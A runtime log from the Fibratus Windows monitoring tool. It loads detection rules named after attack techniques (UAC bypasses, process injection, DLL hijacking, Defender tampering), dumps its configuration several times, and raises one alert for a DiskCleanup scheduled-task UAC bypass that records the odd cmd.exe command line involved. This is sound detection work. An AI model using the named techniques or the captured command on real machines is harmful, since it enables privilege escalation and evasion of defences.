C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T22:53:25+01:00 level=info msg=bootstrapping with pid 10584. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T22:53:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-vamap=>true enable-registry=>true enable-handle=>false enable-mem=>false enable-thread=>true enable-net=>true stack-enrichment=>true enable-dns=>false buffer-size=>512 flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-fileio=>true min-buffers=>16 max-buffers=>36 enable-image=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-backups=>15 max-size=>100 log-stdout=>true formatter=>text max-age=>0] + output ......................... [ elasticsearch=>[ index-name=>fibratus gzip-compression=>false timeout=>5s sniff=>false template-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 trace-log=>false healthcheck=>true healthcheck-timeout=>5s flush-period=>1s servers=>[http://127.0.0.1:9200] enabled=>false] amqp=>[ enabled=>false durable=>false url=>amqp://localhost:5672 routing-key=>fibratus exchange=>fibratus timeout=>5s delivery-mode=>transient exchange-type=>topic vhost=>/ passive=>false tls-insecure-skip-verify=>false] http=>[ method=>POST tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false serializer=>json timeout=>5s endpoints=>[]] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] scan-timeout=>10s fastscan=>true skip-mmaps=>false enabled=>false excluded-files=>[] skip-allocs=>false skip-registry=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T22:53:26+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:53:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:53:38+01:00 level=info msg=sending alert: [UAC bypass via DiskCleanup scheduled task hijack]. Text: Event(s): + Seq: 7277874 + Pid: 616 + Tid: 20388 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-25 22:53:33.4058807 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe"\system32\cleanmgr.exe" /autocleanstoragesense /d C:, directory_table_base➜ 2d7ef8000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe101348d60c0, name➜ cmd.exe, pid➜ 18324, ppid➜ 616, real_ppid➜ 616, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-25 22:53:33.4058253 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 741686800929521664, rule.name: UAC bypass via DiskCleanup scheduled task hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 616 + Ppid: 1004 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T22:53:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T22:53:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:53:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:57:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T22:57:42+01:00 level=info msg=bootstrapping with pid 12764. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T22:57:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true to=>[] content-type=>text/html port=>25 enabled=>false] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-net=>true flush-interval=>1s enable-mem=>false enable-thread=>true buffer-size=>512 max-buffers=>36 enable-image=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true min-buffers=>16 enable-fileio=>true enable-handle=>false enable-vamap=>true enable-audit-api=>true enable-registry=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-backups=>15 level=>info max-age=>0 max-size=>100] + output ......................... [ elasticsearch=>[ enabled=>false flush-period=>1s healthcheck=>true healthcheck-timeout=>5s trace-log=>false bulk-workers=>1 index-name=>fibratus template-name=>fibratus gzip-compression=>false sniff=>false healthcheck-interval=>10s timeout=>5s servers=>[http://127.0.0.1:9200]] amqp=>[ timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus enabled=>false passive=>false durable=>false vhost=>/ delivery-mode=>transient] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ serializer=>json endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s enabled=>false method=>POST enable-gzip=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false skip-files=>false skip-registry=>false skip-allocs=>false scan-timeout=>10s excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-25T22:57:52+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T22:57:52+01:00 level=info msg=bootstrapping with pid 7736. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T22:57:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html port=>25 to=>[] use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>false enable-threadpool=>false enable-thread=>true max-buffers=>36 flush-interval=>1s stack-enrichment=>true enable-registry=>true enable-vamap=>true enable-net=>true enable-fileio=>true enable-dns=>false min-buffers=>16 enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-image=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true max-age=>0 level=>info max-size=>100 formatter=>text] + output ......................... [ eventlog=>[ enabled=>false level=>info] http=>[ method=>POST serializer=>json tls-insecure-skip-verify=>false timeout=>5s enabled=>false enable-gzip=>false endpoints=>[]] elasticsearch=>[ healthcheck-interval=>10s enabled=>false gzip-compression=>false index-name=>fibratus template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true flush-period=>1s sniff=>false timeout=>5s trace-log=>false bulk-workers=>1 healthcheck-timeout=>5s] amqp=>[ routing-key=>fibratus exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false url=>amqp://localhost:5672 enabled=>false passive=>false exchange=>fibratus timeout=>5s vhost=>/ durable=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true skip-allocs=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false excluded-procs=>[] skip-files=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T22:57:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:57:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T23:14:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T23:14:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T23:14:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T23:32:35+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T23:32:35+01:00 level=info msg=bootstrapping with pid 3524. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T23:32:35+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ to=>[] content-type=>text/html use-template=>true enabled=>false port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-fileio=>true stack-enrichment=>true enable-net=>true enable-vamap=>true buffer-size=>512 enable-image=>true min-buffers=>16 enable-mem=>false enable-registry=>true enable-dns=>false flush-interval=>1s enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-handle=>false enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info formatter=>text max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ endpoints=>[] enabled=>false enable-gzip=>false serializer=>json method=>POST timeout=>5s tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ passive=>false exchange=>fibratus timeout=>5s vhost=>/ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic durable=>false enabled=>false delivery-mode=>transient 